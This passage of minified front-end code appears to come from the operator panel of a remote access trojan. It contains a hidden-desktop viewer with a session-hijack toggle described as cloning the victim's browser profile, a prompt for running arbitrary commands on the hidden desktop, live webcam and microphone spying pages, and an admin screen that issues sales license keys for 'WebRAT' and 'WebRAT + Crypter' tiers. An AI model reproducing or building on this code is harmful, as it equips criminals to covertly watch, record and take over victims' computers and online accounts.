0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(q=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${q*.3}s`}},q))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Ds,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:ee.fps})]}),s.jsx(Ds,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:q=>D(Number(q.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:q=>{const Q=Number(q.target.value);k(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:q=>{const Q=Number(q.target.value);N(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Ds,{}),s.jsx(gp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(QU,{})}),s.jsx(gp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(JU,{})}),s.jsx(gp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(eV,{})}),s.jsx(Ds,{}),s.jsx(S2,{onClick:ce,title:"Sync clipboard",children:s.jsx(tV,{})}),s.jsx(S2,{onClick:K,title:"Fullscreen",children:s.jsx(nV,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Ds,{}),s.jsxs("button",{onClick:()=>V(q=>!q),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:R?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:R?"#22D3EE":"#52525B",background:R?"rgba(6, 182, 212, 0.12)":"transparent",border:R?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),XU.map(q=>s.jsxs("button",{onClick:()=>le(q.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${q.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[q.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:q.label})]},q.cmd)),s.jsxs("button",{onClick:()=>{const q=prompt("Command to launch on hidden desktop:");q&&le(q)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:q=>{q.currentTarget.style.color="#A1A1AA",q.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:q=>{q.currentTarget.style.color="#52525B",q.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:J,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:q=>{q.currentTarget.style.background="rgba(239, 68, 68, 0.12)",q.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:q=>{q.currentTarget.style.background="rgba(239, 68, 68, 0.06)",q.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Ds(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function gp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function S2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function QU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function JU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function eV(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function tV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function nV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function rV(){const{id:e}=Vo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=cv({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await $E(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function iV({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=et();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,O=w.data.byteLength-z;if(f(L=>({chunkCount:L.chunkCount+1,sampleRate:k})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const T=O/(S/8)/N,P=_.createBuffer(N,T,k),R=new DataView(w.data,z);for(let L=0;L{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function aV(){const{id:e}=Vo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=iV({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await BE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const sV=4294967295;function oV(e){return e>=sV-86400}function yp(e){return oV(e)?"Never":new Date(e*1e3).toLocaleString()}function z2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function lV({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function cV(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState(null),[_,T]=p.useState(null),[P,R]=p.useState("30d"),[V,$]=p.useState(!1),[L,W]=p.useState(null),[B,U]=p.useState("rat"),[F,H]=p.useState(!1),G=p.useCallback(async()=>{try{const C=await VE();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),re=p.useCallback(async()=>{try{const C=await qE();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([G(),re()]).finally(()=>l(!1))},[G,re]);const oe=async C=>{C.preventDefault(),w(!0),u("");try{const E=await HE({duration:m,max_agents:parseInt(x)||0,tier:y});k(E.key),N(!1),await G()}catch(E){u(E instanceof Error?E.message:"Failed to generate key")}finally{w(!1)}},he=async C=>{u("");try{await KE(C),O(null),await G()}catch(E){u(E instanceof Error?E.message:"Failed to revoke key")}},pe=async()=>{if(_){$(!0),u("");try{await YE(_.id,P),T(null),await re()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{$(!1)}}},Y=async()=>{if(L){H(!0),u("");try{await GE(L.id,B),W(null),await re()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{H(!1)}}},ee=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:G,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:oe,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:ee,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved 